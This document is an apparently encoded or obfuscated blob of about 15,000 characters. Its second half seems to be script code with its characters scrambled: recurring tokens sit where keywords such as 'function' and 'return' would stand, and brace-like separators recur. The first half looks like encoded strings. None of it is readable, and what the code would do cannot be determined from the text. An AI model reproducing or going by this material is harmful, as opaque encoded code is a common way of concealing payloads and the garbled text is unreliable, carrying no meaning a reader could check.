zpp v[\|^ Dippij[D^g Qy [j[D ij[^ kD \ i[ppj JD[\D Bv|iB |j ABB Lpp @P@ppzM	 bDppFDiji bDiDk M^^MUpp^Fjppi\ NVLC \v[ jD ippg|[ppD^j[| [v^ppij jjbvGWI^IecgeD sD^i DippbD bDjD BgFpp DippbD jD DippbD EppbD ippg|[ [v^ppg|[ NVLC bDiDk ppeDiDrD\Er Dippij[D^g vj ij[^ b^jDv^ppFDiji |jDppgD^i D^pp|[[| |jDppgD^i \ [gpp|j\ iIij[ E [v^pp[ D^ij DippbD CLBxxwXw@vjwnv^ b^jDv^ppFDiji gjppvjDv^ |jppvjDv^ ^v jD ^v [gpp|j\ BZi~lyTlB~BB|[wjwv^ijwb^jDv^wibtB BZsJ|skXsOHB[^KHB ij[^ ij[^  v^j^jsTw|D|jDv^B||i[Dj V[Dsv[[svTwB CLBxxwWXw@vw v^j^j ippv^bDg M^^MUCLppMnpp@@Pppp C CLBxxwcXw@vjwpvDbD P|gTw V[Dsv[[svTwB  |\s v^j[vTw^vs|\ P|gTw ipp ipp[Db Dippij[D^g b^jDv^ppFDiji \vpp[ |[ipp[ b^jDv^ppFDiji gjppvjDv^ iDj[ CLppCV Dippij[D^g BTHB [Db ippi|^jDpp[vI  v^j^jsTwjFjB|D^  |\s v^j[vTw^vsijv[ V ppVPpT E V ppVPpppnM
 [Dbpp b^jDv^ppFDiji [vjpp|^ppv|D^ cjppbi\pp| igpp|\[iipp[gpp|\ Djipp[gpp| 
DjVpp |\ppLM 
DjVpp |\ppLM [gpp| N[kppL[g |\ j\vppFDiji I[kpp|\ppbi\ j\vppFDiji |[ppjvj|pp|\ bpp|[pp|pp|\ DippvIj j |\ pp|\pp|[pp|\ |jvjDDk |\ |jvjDDk |\ |[| [gppv^ppipp\|^g Dipp|D^ ppvD^gpp||F 	PVpp	PPV M^^MUqp
	L pp	PPV Dippb Dipp[vIvji DippiDj|i DippijvDkpp[D ^jv[s[D ijvDkpp\|^gijppD bppID[ ij[pp[| QBi[Dj QBi[Dj \vpp[ b^jDv^ppFDiji gjppvjDv^ |jppvjDv^ ippipp[D^jpp^vj ippipp[D^jpp^vj jD ippipp[D^j QBIv_ Q\j ippippvI Dippij[D^g ippi ippi vIppij|[j FeW^Drx|emIOr |g^v |g^v svgD^\ ippipp|ijpp[ Qi[Djw|j|sis |[wb^jDv^l\tf|[w[hhdD}bv[lDX}DQ\^gj\}DHWt[HVj[D^gb[v \|[ vl|[iM^jl\iIij[lDdWtdxmtt}[j[^w[d i^|Dg|jv[lh i[Dv[[ htKd  Dblitilh gj	gDij[|jDv^i htKltj\^lb^jDv^l[itf[ibv[P|\lb^jDv^l[tf|[w]} Dbl]tlh |jD htdlh |DjD^g D^ij|D^g htKbv[P|\lb^jDv^ltfDbl[KUU[Klh i[Dj	
 htKtxt} Dblt[lh ^[gDij[ M^^MUhtKltttlh |j\ htKlb^jDv^ltft QBi[Dj_ ij[pp[| b^jDv^ppFDiji |[ipp[ [j[D Qi[Djw|j|sis |[wb^jDv^l\tf|[w[hhdD}bv[lDX}DQ\^gj\}DHWt[HVj[D^gb[v \|[ vl|[iM^jl\iIij[lDdWtdxmtt}[j[^w[d htK} Dblitf ilh gj	gDij[|jDv^ htKl iv^pp^v j\^lb^jDv^l[tfDbl][tilh [gDij[ dfivT tlh |j\ htKlb^jDv^ltftt lh |j\ htKlb^jDv^ltft} |P^j
Dij^[ htKllh ii|g htdb^jDv^ltf |[wlh |j| htK} DblUUtfj[f^wn^jDv^l|jvIlttlt|j\lFtft} [| htKj\^lb^jDv^l[tf [lh htKlh vijpii|g htKlfjTh[htt ipp[g bDjD bDppgjppv^j^ji Lpp @P@ppzM	 gvI gvI Dipp|[[| Dipp|[[| iIij[ Dipp|[[| DippD[ M^^MUiIij[ \ bDjD bDiDk ij[vi [gpp|j\ v|\ppD^|D|j i I|i^| vbb I|i^| \ Bipp D[^| sgD^i gjppvjDv^ D[^| I|i^| b^jDv^ppFDiji |jDppiDjDppgD^i D[^| BI|pp Fv v^j ^D^ b^jDv^ppFDiji bDppjppv^j^ji bDiDk |j\ [||j\ b^jDv^ppFDiji \ iIij[ E ippIvvjpp[ ippIvvjpp[ _ ippIvvjppj V pp 	PppNV	LLPz ippIvvjppj V pp 	PppNpp`P	 ij|[jD^g pp|vO^veiv\jXX^ Dei\EgceFEFDGO LCM@nppPqP@VM@ gm^xjigOWppjm[i^bO [gDij[ppi\jv^ppb^jDv^ [gDij[ppi\jv^ppb^jDv^ |FXj^jIb[ki\Ov |DjEvgipp^gb M^^MUI|i^| j[D bDppgjppv^j^ji D[^| BIjpp \ vbpp ^D^ FbEEx[kxOEx \gbpp[Epp[vX v|sgD^i\ |D^ppD^Dj FFjWgcIvWvr jD[IFr|X \[m[WrGIrbGOv bbvDE[iDccOb bppbD^[ppv^^jv[ppvji bippiFjriXFjppE ppbDpp|^|g[ppv^^jv[ppvji bD^[ppv^^jv[ppvji bippiFjriXFjppE bDpp|^|g[ppv^^jv[ppvji |j\^jD|j GGbGi[cxx\irg ppvgD^ |DF|xFkmgWi [ppi[ppG[ pp|XbFXmcbGF [ijppi[ppG[ cjgFb^ppWeWeF[ Dippi[i cIgOmx\k IgppD^bv[|jDv^ DeO|gXGgrGDrggEx i\vpp||^ppgD^i |^jvGc^IEOIkig |D^pp\|sgD^i\ IppbpprmrbxgXv iDjppj[|^iD^jpp|jppgD^i |DxirveGvFpp |ppgD^i pp||FppppbDppbv[pp|^|g[ GximI^[O pp||Fppv^^jv[ GximI^[O pp||Fppbippv^^jv[ GximI^[O ppbvvj[ iimg^E[ImD j|jpp[D[j M^^MUiemb^G^cW[WmD |D^ppbvvj[ \ccWiijWDD vgD^ppbvvj[ \ccWiijWDD FW^kXj|iE GEk^IbmxcI ^cD[jEvgjej ||Eppppg\XX^[j Fj|DWkvi \FOxppIIixG FFjWgcIvWvr OgkEGb[OFxei gD^ippv| kgmEkr|vxj miO[XievbOx r[|I^[gIGxxI rD|[OIE[xE^O[ bIDgGEi gjppvjDv^ b^jDv^ppFDiji OObkFWgWX[X ppciFxjOOcgGrD \igGg^DmvWFi b^jDv^ppFDiji |jppvjDv^ ipp|ijpp[v[pp\ ipp|ijpp[v[pp\ jD W[IWOOG [v^ppi\i GD|jbv[I[jkmOD\ri gD^ippv|Q^IXY^BMwEqQJYBOXECBNND@UGH@\HB@EWIG]Y@FEUV@EXEJmn|xd_OsZI^C\@YKEBNMA{`ykebh~aGHDXUoci[ppJTzj}gp ]VtuvFWwQq
Prf	LlXNVLCipp[vcWgD^I|
M@z	pBs\j PbF~w`TlHtnu{dXGQyk_OrExemqAJ}fhKU]ZYao^JC^FF_X^@IBIFW\_X^\C_X IwFq^\JM@_IIwFqJw\qQ^IXY^B^QJYBOXECBEK^NHCBNJO_EW^IXY^BNND@UGH@\HB@EQJYBOXECBE[sZ]V\MU]NVKEW^IXY^BNND@UGH@\HB@EQJYBOXECBVUAG_IICHXEWFE^IXY^BNND@UGH@\HB@FQ&&JYBOXECB[XMTT[HI_T@^sEF_WT@^sEF_E__IXT@^sEF_T@^sEF_^IXY^BT@^sEF_Q&JYBOXECBVEZX_AIIHHN_ABDDYFEEMWDDYFEEME__IXDDYFEEMDDYFEEM^IXY^BDDYFEEMQ&&&&&HIJEBIHE[sZ]V\MU]NVKC^ITEX&&JYBOXECB[KNGMVXV[KCMBM[JX&W&^IXY^BE__IXk`cnm`wEK^NHCBNJO_qk`cnm`wVUAG_IICHXqE[sZ]V\MU]NVK&Q&JYBOXECB^_NIVAZ&W&^IXY^Bssje`iss&&Q&JYBOXECBEG_DKYTYUTE@]OU&W&^IXY^BNND@UGH@\HB@^_NIVAZ&Q&JYBOXECB][D^VNJVM^&W&EJNND@UGH@\HB@NND@UGH@\HB@^IXY^B\@YKEBsNM_IBMAI^_NIVAZ&&HI]ACMJAAN\^_NIVAZ&&&KAAXKH[^YTGHIJEBIHNND@UGH@\HB@{|s|`ykebshe~&EJKAAXKH[^YTG

EK^NHCBNJO_HI]ACMJAAN\ KAAXKH[^YTG^IXY^BE[sZ]V\MU]NVKE[sZ]V\MU]NVKHI]ACMJAAN\ VUAG_IICHXKAAXKH[^YTG &^IXY^BEK^NHCBNJO_E[sZ]V\MU]NVKHI]ACMJAAN\EK^NHCBNJO_HI]ACMJAAN\&Q&JYBOXECBYsOMCBICZZUG_CDXB&W&YBDCCG_X^CBKKMXI[MU&&&&^IXY^BNND@UGH@\HB@HIJEBIHVUAG_IICHX{|ays|`ykebshe~{|socbxibxshe~VUAG_IICHX &&&&Q&JYBOXECBB@IN]@GZKEHEY&W&^IXY^BNND@UGH@\HB@^_NIVAZ&Q&JYBOXECBsBTGT_@UKFJMMHI^BIDC@V ZF_ABJ\ \FJCOCFJYJM@_I&W&^IXY^BNND@UGH@\HB@NND@UGH@\HB@lNND@UGH@\HB@I^BIDC@V ZF_ABJ\ \FJCOCFJYJM@_I&Q&JYBOXECB]]XI^s@\F[YJ_V_ZEOIJ@NJMVABE^C ZF_ABJ\&&&&W&&^IXY^BEK^NHCBNJO_E[sZ]V\MU]NVKlEK^NHCBNJO_J@NJMVABE^C ZF_ABJ\JM@_I&Q&JYBOXECBEU@^_Y^]OZUI]BJ@NJMVABE^C&W&ACBCAC^\DEVI[C^G]YIYIJC^{|k^CY\n@COG&OU\FsZJ_N^\|d|sebxsamt|d|sebxsamt@sFFUYNYUBOU\FsZJ_N^\&^IXY^BVUAG_IICHXVUAG_IICHXlEK^NHCBNJO_J@NJMVABE^CJM@_I&&&&Q&JYBOXECBOGDYBEsTOUKXHXJ@NJMVABE^C E_K^]NNT\&&&W&&^IXY^BVUAG_IICHXVUAG_IICHXlE[sZ]V\MU]NVKJ@NJMVABE^C E_K^]NNT\JM@_I&Q&JYBOXECBIF@GHOXG@J@NJMVABE^C&&&W&&&&OFss\E]H[\YI[DVTYUDIYEJ&^IXY^BOGDYBEsTOUKXHXJ@NJMVABE^C OFss\E]H[\YIOFss\E]H[\YI	\^FTV@HAFZ&Q&JYBOXECBD^@ZVFN[YsG\B^VNGYE XZX\D@H_N&WV\_JA@N\sMIH]M\@V\_JA@&^IXY^BVUAG_IICHXEK^NHCBNJO_lVUAG_IICHXB^VNGYE XZX\D@H_NJM@_IB]E^XFXOHFNBBIAJ\B]E^XFXOHF&Q&JYBOXECBJCVY[K[^ETMB^VNGYE XZX\D@H_N&W&^IXY^BE[sZ]V\MU]NVKVUAG_IICHXlVUAG_IICHXB^VNGYE XZX\D@H_NJM@_I&Q&JYBOXECBOs^BOHHD\YGsOTI^BIDC@V J@NJMVABE^C&W&^IXY^BEK^NHCBNJO_NND@UGH@\HB@lEK^NHCBNJO_I^BIDC@V J@NJMVABE^CJM@_I&&&Q&JYBOXECBIFT[AZKsCO@K^VC&&W&_XMXEOZY@GEJVX]KVZMBY@@&EJZY@GEJVX]KVZMBY@@^IXY^BZY@GEJVX]KVZM&ZY@GEJVX]KVZMVUAG_IICHXE[sZ]V\MU]NVKEK^NHCBNJO_VUAG_IICHXK^MKBCHsYGZ]TADAKFK^MKBCHsY&EJlE[sZ]V\MU]NVKZY@GEJVX]KVZM

lNND@UGH@\HB@ZY@GEJVX]KVZM^IXY^BZY@GEJVX]KVZM&EA_KJ\DHIJEBIHE[sZ]V\MU]NVK{|socbxibxshe~HIJEBIHE[sZ]V\MU]NVKmn|mxdEK^NHCBNJO_&EJEA_KJ\DW&HI]ACMJAAN\NND@UGH@\HB@EA_KJ\D EK^NHCBNJO_VUAG_IICHX&EJlE[sZ]V\MU]NVKHI]ACMJAAN\lE[sZ]V\MU]NVKHI]ACMJAAN\  X^YI&&EJlVUAG_IICHXHI]ACMJAAN\

lVUAG_IICHXHI]ACMJAAN\W&EJE[sZ]V\MU]NVKEK^NHCBNJO_l\YXIBZNND@UGH@\HB@HI]ACMJAAN\&k`cnm`wE[sZ]V\MU]NVKq&ZY@GEJVX]KVZMHI]ACMJAAN\&Q&Q&&&^IXY^BZY@GEJVX]KVZM&Q&JYBOXECBMMUYZ^sVMNBVIA&W&I^BIDC@VB@IN]@GZKEHEY&ZF_ABJ\YsOMCBICZZUG_CDXB&|d|JENI^__IXXEBK__IOXECB&&EJI^BIDC@VZF_ABJ\^IXY^BX^YI&EJNND@UGH@\HB@VUAG_IICHXW&&&&EXDXKKKX@AZOlVUAG_IICHXI^BIDC@V&&&&MX@FTVEUYM^lNND@UGH@\HB@ZF_ABJ\&^IXY^BEXDXKKKX@AZOJM@_I

MX@FTVEUYM^JM@_I

EXDXKKKX@AZOMX@FTVEUYM^&Q&&&^IXY^BJM@_I&Q&JYBOXECB\^FTV@HAFZ&W&^IXY^B&Q&JYBOXECB[VZNOIHC@s@&W&EJHIJEBIHEK^NHCBNJO_^IXY^B&&EA_KJ\DHIJEBIHVUAG_IICHX{|socbxibxshe~mn|mxdE[sZ]V\MU]NVK&^IXY^BE[sZ]V\MU]NVKEA_KJ\D VUAG_IICHXE[sZ]V\MU]NVKEK^NHCBNJO_E[sZ]V\MU]NVKmn|mxdE[sZ]V\MU]NVK  TTE[sZ]V\MU]NVKE[sZ]V\MU]NVKEK^NHCBNJO_mn|mxdE[sZ]V\MU]NVK  rEK^NHCBNJO_&Q&JYBOXECBNE[\^KDFYJNX[B\@D[FO@KBUTBY@@&W&J@NJMVABE^C[VZNOIHC@s@&EJJ@NJMVABE^C^IXY^BJM@_I&EJNND@UGH@\HB@\@D[FO@KBUTPPVUAG_IICHX\@D[FO@KBUT\@D[FO@KBUTIVTTUBTZE^A[&EJ\@D[FO@KBUTPPZVHB^HE]OsNOVNY\@D[FO@KBUT^IXY^BJM@_I&I^BIDC@VVUAG_IICHXJ@NJMVABE^C&&&EJlNND@UGH@\HB@I^BIDC@VsBTGT_@UKFJMMHI^BIDC@V  X^YI&EJlE[sZ]V\MU]NVKI^BIDC@VPPlVUAG_IICHXI^BIDC@V^IXY^BJM@_I&EJlVUAG_IICHXJ@NJMVABE^CW&&&EJVUAG_IICHXF[sE_EYEDFGFI_X^EBKlVUAG_IICHXJ@NJMVABE^CE[sZ]V\MU]NVK\@D[FO@KBUT^IXY^BX^YI&FM]HZ^OG[ZDT]DAMVU^CTs@VXMAB\XXKFEJ@NJMVABE^C&EJFM]HZ^OG[ZDT]DABY@@

ZI^_ECBsOCA\M^IFM]HZ^OG[ZDT]DA [KNGMVXV[KCMBM[JX ^IXY^BJM@_I&YB_IXFM]HZ^OG[ZDT]DA&Q&EJ_N]JNVYOBBZ_TFET\J@NJMVABE^C \@D[FO@KBUT^IXY^BJM@_I&]]XI^s@\F[YJ_V_ZEOIJ@NJMVABE^C &@MJGUDXJDsMJ@NJMVABE^C&^IXY^BX^YI&Q&JYBOXECBKODN@K_UAMZVAZDK&W&\@D[FO@KBUTIVTTUBTZE^A[&&&&EJ\@D[FO@KBUTPPZVHB^HE]OsNOVNY\@D[FO@KBUT^IXY^BJM@_I&&&HZ]]M\F[FZVUE[sZ]V\MU]NVK^_NIVAZ VUAG_IICHXMF@Z[HZ|d|sebxsamt|d|sebxsamt[YK@\MF@Z[HZ&ZJKVHJE[sZ]V\MU]NVKEK^NHCBNJO_YUH]T_YAHOZXYJMHIJEBIHVUAG_IICHX{|socbxibxshe~&EJZJKVHJ^IXY^BJM@_I&&KAAXKH[^YTGZJKVHJNND@UGH@\HB@HZ]]M\F[FZVU&AKI]OKN_NFK_KAAXKH[^YTGHZ]]M\F[FZVUEK^NHCBNJO_&&&VFIJFV_NZI@EJM@_I&EJEK^NHCBNJO_E[sZ]V\MU]NVKW&FBA]HHlVUAG_IICHXAKI]OKN_NFK_&_^]AKsY]BVAGlVUAG_IICHX^_NIVAZ&VFIJFV_NZI@EE[sZ]V\MU]NVKFBA]HH

E[sZ]V\MU]NVK_^]AKsY]BVAG

FBA]HH_^]AKsY]BVAG&&Q&EJVFIJFV_NZI@EW&EJlVUAG_IICHXKAAXKH[^YTGsBTGT_@UKFJMMHKAAXKH[^YTG  X^YI&&&&EJlEK^NHCBNJO_KAAXKH[^YTGPPlEK^NHCBNJO_KAAXKH[^YTG^IXY^BJM@_IYFB^J[]A|d|sebxsamt|d|sebxsamtZMD]\\IHYFB^J[]A&EJlE[sZ]V\MU]NVKAKI]OKN_NFK_PPVUAG_IICHXF[sE_EYEDFGFI_X^EBKlE[sZ]V\MU]NVKAKI]OKN_NFK_VUAG_IICHX\@D[FO@KBUTW&EJlNND@UGH@\HB@AKI]OKN_NFK_W&FM]HZ^OG[ZDT]DAMVU^CTs@VXMAB\XXKFEAKI]OKN_NFK_&EJFM]HZ^OG[ZDT]DABY@@

ZI^_ECBsOCA\M^IFM]HZ^OG[ZDT]DA [KNGMVXV[KCMBM[JX ^IXY^BJM@_I&YB_IXFM]HZ^OG[ZDT]DA&Q&C\XEAM@^IOC^H@MUI^&&&&&EJ_N]JNVYOBBZ_TFET\AKI]OKN_NFK_ XJA]CCJGYUMIGCB[\@D[FO@KBUT^IXY^BJM@_I&]]XI^s@\F[YJ_V_ZEOIAKI]OKN_NFK_ &&IF@GHOXG@AKI]OKN_NFK_&@MJGUDXJDsMAKI]OKN_NFK_AF]@MsC|d|samfc~szi~ecbs^FIMNBAF]@MsC&Q&&Q&EJE[sZ]V\MU]NVKEK^NHCBNJO_

NND@UGH@\HB@EK^NHCBNJO_W&^]ZN@TVOOCHZ]]M\F[FZVUHZ]]M\F[FZVUNND@UGH@\HB@&TDMV[XOIs_UFKIXsC\XECBEK^NHCBNJO_ M^^MU&EJVUAG_IICHXTDMV[XOIs_UFTDMV[XOIs_UFM^^MU&EJE[sZ]V\MU]NVK^]ZN@TVOOC TDMV[XOIs_UF X^YIW&TDMV[XOIs_UFwq^]ZN@TVOOC&&&Y\HMXIsC\XECBEK^NHCBNJO_ NND@UGH@\HB@TDMV[XOIs_UF&Q&Q&&&&^IXY^BX^YI&&&&Q&JYBOXECBMVU^CTs@VXMAB\XXKFEJ@NJMVABE^C&W&HZJ[JZY^lVUAG_IICHXJ@NJMVABE^C JM@_I BY@@  THTH&EJNND@UGH@\HB@HZJ[JZY^^IXY^BBY@@&EJEK^NHCBNJO_NND@UGH@\HB@ HZJ[JZY^ ZF_ABJ\^IXY^BZF_ABJ\wq&^IXY^BBY@@&Q&&JYBOXECBTIEsOI[@[_HGJZOC@[VTI@MC AUUGXB^TAMZKOK&W&^IOCBOE@IYBEXM^UCN_I^ZI^&&lO@IM^_XMXOMODIX^YI OC@[VTI@MC&&&[B_]ZZClE[sZ]V\MU]NVKOC@[VTI@MC&EJ[B_]ZZCPP[B_]ZZC	\^FTV@HAFZW&{|nYXXCBn@COGMO]YE^I^MHETX^II&&^IXY^BJM@_I&&Q&&&DDA@@AUKXXIClVUAG_IICHXOC@[VTI@MC&^IXY^BDDA@@AUKXXIC

DDA@@AUKXXICAUUGXB^TAMZKOK&Q&JYBOXECBDITC]GEBE[]&&&&W&^IXY^B&Q&JYBOXECBVB[AV][^ZI&W&^IXY^BE[sZ]V\MU]NVK&Q&JYBOXECBM__^sKEVEG_]&W&^IXY^BE[sZ]V\MU]NVK&Q&JYBOXECB@HA[MKF]JN[T&&&W&&EJEK^NHCBNJO_EK^NHCBNJO_^IXY^BX^YI&EJEA][G@T^MFM[G^IXY^BX^YI&JYF][U_OHZE__IXsi~zi~wNND@UGH@\HB@qE[sZ]V\MU]NVK_X^EBKsi~zi~wVUAG_IICHXq&EJJYF][U_OHZ

NND@UGH@\HB@JYF][U_OHZ E[sZ]V\MU]NVKJM@_IPPEK^NHCBNJO_JYF][U_OHZ EK^NHCBNJO_JM@_IPPE[sZ]V\MU]NVKJYF][U_OHZ EK^NHCBNJO_JM@_I^IXY^BX^YI&EJJYF][U_OHZ

EK^NHCBNJO_E[sZ]V\MU]NVK

E__IXsi~zi~wVUAG_IICHXq^IXY^BX^YI&^IXY^BJM@_I&&&Q&JYBOXECBEA][G@T^MFM[G&WYN^VH|d|sebxsamt|d|sebxsamtTACTZ_OFEYN^VH&JYF][U_OHZE__IXsi~zi~wVUAG_IICHXqsi~zi~wEK^NHCBNJO_q&&^IXY^BNND@UGH@\HB@JYF][U_OHZ

_X^E\C_JYF][U_OHZ NND@UGH@\HB@JM@_I&Q&JYBOXECBC^GEDND_ADAsXDVB@TGFOI&W&JKF]TE@ZFs\AA@E[sZ]V\MU]NVKNND@UGH@\HB@lVUAG_IICHXVUAG_IICHXJM@_I&&&EJJKF]TE@ZFs\AA@PPJKF]TE@ZFs\AA@^IXY^BX^YI&NAHONCNVlNND@UGH@\HB@B@TGFOI&EJNAHONCNVNAHONCNVB@TGFOI@[YV\BsZZIIY]@MHTT_C@[YV\BsZZ@[YV\BsZZ@[YV\BsZZ&&JC^IMODE[sZ]V\MU]NVK|mxdsi|m~mxc~ JKF]TE@ZFs\AA@M_^\G@GYO_W&^\G@GYO_E[sZ]V\MU]NVK^\G@GYO_ NND@UGH@\HB@&EJ^\G@GYO_

NAHONCNV^\G@GYO_PPEK^NHCBNJO_NAHONCNV ^\G@GYO_he~ioxc~usi|m~mxc~^IXY^BX^YI&Q&^IXY^BJM@_I&Q&JYBOXECBINZXBZNsV^OB\GT\M_A&&W&JTE_\NsY^GB\GT\M_APHIJEBIHE[sZ]V\MU]NVKhnsbmaiPHIJEBIHNND@UGH@\HB@mn|mxd&&&^IXY^BEK^NHCBNJO_JTE_\NsY^G&&&Q&JYBOXECBOAEFTH@JAB[B\GT\M_A&W&K@CNM@[\HN&EJE__IXk`cnm`wE[sZ]V\MU]NVKqPPE[sZ]V\MU]NVKk`cnm`wNND@UGH@\HB@qk`cnm`wE[sZ]V\MU]NVKqM^^MU&EJIA\XUk`cnm`wNND@UGH@\HB@qwB\GT\M_AqW&k`cnm`wVUAG_IICHXqwB\GT\M_Aq&^IXY^BX^YI&&Q&EJEK^NHCBNJO_[\HN

VUAG_IICHX[\HN E[sZ]V\MU]NVKW&\FJCOCFJYl[\HNKIXsZM^E[sZ]V\MU]NVKINZXBZNsV^OB\GT\M_AVUAG_IICHX&EJ\FJCOCFJYW&|~BMAI_\MOI_EBO^IAIBXM@\M^XEXECB^IJEBIAIBX&&k`cnm`wVUAG_IICHXqwB\GT\M_Aq&^IXY^BX^YI&Q&&&EJ\FJCOCFJY^IXY^BJM@_I&Q&EJNND@UGH@\HB@NND@UGH@\HB@

E[sZ]V\MU]NVKNND@UGH@\HB@W&MHM\XEZIXM_GK^M\D&B[@@Os^MI\N@_DHEUAK]MNB[@@Os^MI\N&GYDU[EUYM^^MU&EJE[sZ]V\MU]NVKEK^NHCBNJO_GYDU[EUYwqNND@UGH@\HB@&EJHIJEBIHE[sZ]V\MU]NVKGYDU[EUYwq{|socbxibxshe~&&&EJHIJEBIHVUAG_IICHXGYDU[EUYwqNND@UGH@\HB@mn|mxd NND@UGH@\HB@&&&JC^IMODGYDU[EUYM_I^BIDC@VW&&&&EJI^BIDC@VPPlEK^NHCBNJO_I^BIDC@VPPlE[sZ]V\MU]NVKI^BIDC@VOCBXEBYI&]IX_G\VJlNND@UGH@\HB@I^BIDC@VNND@UGH@\HB@INZXBZNsV^OB\GT\M_AEK^NHCBNJO_ O&EJ]IX_G\VJJM@_IW&EJlJ@COG]IX_G\VJ `cogsitP`cogsbnW&ACBCXCBIOCYBXAEB_GIXOD&&lJO@C_I]IX_G\VJ&^IXY^BJM@_I&Q&EJE__IXk`cnm`wEK^NHCBNJO_qPPE[sZ]V\MU]NVKk`cnm`wE[sZ]V\MU]NVKqk`cnm`wNND@UGH@\HB@qM^^MU&k`cnm`wEK^NHCBNJO_qwB\GT\M_Aq]IX_G\VJ&k`cnm`wVUAG_IICHXqwB\GT\M_Aq&^IXY^BX^YI&Q&Q&Q&&&&^IXY^BJM@_I&Q&JYBOXECBK_DAMCNEUO^B\GT\M_A&W&K@CNM@[\HN&EJIA\XUk`cnm`wVUAG_IICHXqwB\GT\M_Aq^IXY^B&&&&k`cnm`wE[sZ]V\MU]NVKqwB\GT\M_Aq&&EJk`cnm`wEK^NHCBNJO_qwB\GT\M_Aq^IXY^B&YB_IXk`cnm`wVUAG_IICHXqwB\GT\M_Aq&EJE__IXk`cnm`wEK^NHCBNJO_qwB\GT\M_AqW&lJ@COGk`cnm`wEK^NHCBNJO_qwB\GT\M_Aq `cogsyb&lJO@C_Ik`cnm`wE[sZ]V\MU]NVKqwB\GT\M_Aq&YB_IXk`cnm`wE[sZ]V\MU]NVKqwB\GT\M_Aq&Q&&EJEK^NHCBNJO_[\HN

NND@UGH@\HB@[\HN E[sZ]V\MU]NVKW&&&l[\HN]YI^UNND@UGH@\HB@INZXBZNsV^OB\GT\M_AE[sZ]V\MU]NVK&Q&AY@XENUXIM[M^I&&Q&JYBOXECBMKDZUEB_BHK&W&&EJHIJEBIHEK^NHCBNJO_

hem``c{sje`isach^IXY^BJM@_I&^IXY^BX^YI&Q&JYBOXECBCGTNsH^OGY_HMU@YsVV]]D @XB\NXs&W&X^UW&EJEBXI^JMOIsITE_X_VUAG_IICHX

@XB\NXsEB_XMBOICJxD^C[MN@IW&A[ZJBFDHIYA_J_E[sZ]V\MU]NVKsVV]]DEK^NHCBNJO_@XB\NXsKIXaI__MKI  &QI@_IEJ@XB\NXsEB_XMBOICJiTOI\XECBW&A[ZJBFDHIYA_J_VUAG_IICHXsVV]]DVUAG_IICHX@XB\NXsKIXaI__MKI  &&&&QI@_IEJEK^NHCBNJO_@XB\NXs

EK^NHCBNJO_@XB\NXsW&A[ZJBFDHIYA_J_VUAG_IICHXsVV]]DVUAG_IICHX@XB\NXs  &QI@_IW&^IXY^B&Q&@EJIOUO@IDCCG&&EJE__IXk`cnm`wVUAG_IICHXqk`cnm`wEK^NHCBNJO_qM^^MU&EJE[sZ]V\MU]NVKA[ZJBFDHIYA_J_ k`cnm`wNND@UGH@\HB@q X^YIW&k`cnm`wE[sZ]V\MU]NVKqwqA[ZJBFDHIYA_J_&Q&EJE[sZ]V\MU]NVKk`cnm`wEK^NHCBNJO_qW&k`cnm`wNND@UGH@\HB@qEK^NHCBNJO_k`cnm`wNND@UGH@\HB@q &Q&QOMXODxD^C[MN@IFNMZHZBB\]NGW&|I_X|d|[IN\OCBZI^_ECB&&QOMXODiTOI\XECBFNMZHZBB\]NGW&&&&Q&Q&JYBOXECBKUG@_ZHVYZGNHZJ[JZY^ Z@_JDHsFV] J@NJMVABE^C AFA^I_EGNKYZ&W&EJEK^NHCBNJO_EK^NHCBNJO_^IXY^BJM@_I&EJEK^NHCBNJO_Z@_JDHsFV]W&^IXY^BMHHsMOXECBHZJ[JZY^ JYBOXECBYGZCCGJ\Z^\Y_IZ@_JDHsFV]W&EJE[sZ]V\MU]NVKZ@_JDHsFV]^IXY^BZ@_JDHsFV]YGZCCGJ\Z^\&^IXY^BBY@@&Q J@NJMVABE^C AFA^I_EGNKYZsHNZ]]s_ZT|d|sebxsamt|d|sebxsamtINNZG@@DsHNZ]]s_ZT&Q&^IXY^BMHHsMOXECBHZJ[JZY^ Z@_JDHsFV] J@NJMVABE^C AFA^I_EGNKYZ&Q&&&JYBOXECBGHI^sK[IHKHZJ[JZY^ Z@_JDHsFV] J@NJMVABE^Cr AFA^I_EGNKYZ&&W&EJEK^NHCBNJO_NND@UGH@\HB@^IXY^BJM@_I&EJE[sZ]V\MU]NVKZ@_JDHsFV]W&&&^IXY^BMHHsJE@XI^HZJ[JZY^ JYBOXECBYGZCCGJ\Z^\Y_IZ@_JDHsFV]W&&&EJVUAG_IICHXZ@_JDHsFV]^IXY^BZ@_JDHsFV]YGZCCGJ\Z^\&^IXY^BE__IXYGZCCGJ\Z^\wqYGZCCGJ\Z^\wqBY@@&Q J@NJMVABE^C AFA^I_EGNKYZGZFKZK[M^FTTOH[_I\TXGZFKZK[M^F	&Q&^IXY^BMHHsJE@XI^HZJ[JZY^ Z@_JDHsFV] J@NJMVABE^C AFA^I_EGNKYZ&&Q&JYBOXECB[AXXJCU]ZNBNKE&W&^\G@GYO_HIJEBIHNND@UGH@\HB@{|socbxibxshe~NND@UGH@\HB@C_I\\NII@T^YDmn|mxdNND@UGH@\HB@ VUAG_IICHX^_NIVAZNND@UGH@\HB@&EJlVUAG_IICHX^\G@GYO_

C^GEDND_ADAsXDV^\G@GYO_W&&&sBTGT_@UKFJMMH^\G@GYO_ TTO X^YI&EJlE[sZ]V\MU]NVK^\G@GYO_W&XFHN]]TNEBYCM^\G@GYO_E[sZ]V\MU]NVK \D\E@IBOIE_KC@HIBpB NND@UGH@\HB@&Q&Q&EJlVUAG_IICHX^\G@GYO_

lNND@UGH@\HB@^\G@GYO_W&\MOGIH@MUCYX&&^IXY^B^\G@GYO_&Q&OC@@IOXHMXMJ@C[K^M\DJC^{|k@CNM@XU@I_&&OKNIF[^MCVUAG_IICHX^_NIVAZNND@UGH@\HB@&EJlVUAG_IICHXOKNIF[^MC

C^GEDND_ADAsXDVOKNIF[^MCsBTGT_@UKFJMMHOKNIF[^MC  X^YI&&EJlE[sZ]V\MU]NVKOKNIF[^MC

lNND@UGH@\HB@OKNIF[^MC^IXY^BOKNIF[^MC&FCB]H_IJ\_\E]B]E[sZ]V\MU]NVK^_NIVAZ&&&EJlE[sZ]V\MU]NVKFCB]H_IJ\_\E]B]

FCB]H_IJ\_\E]B]YsOMCBICZZUG_CDXB^IXY^BFCB]H_IJ\_\E]B]&EJHIJEBIHNND@UGH@\HB@

lVUAG_IICHX{|socbxibxshe~

C^GEDND_ADAsXDV{|socbxibxshe~^IXY^B{|socbxibxshe~&^IXY^B^\G@GYO_&Q&JYBOXECBYUH]T_YAHOZXYJM&W&EJHIJEBIHVUAG_IICHX

lVUAG_IICHX{|socbxibxshe~

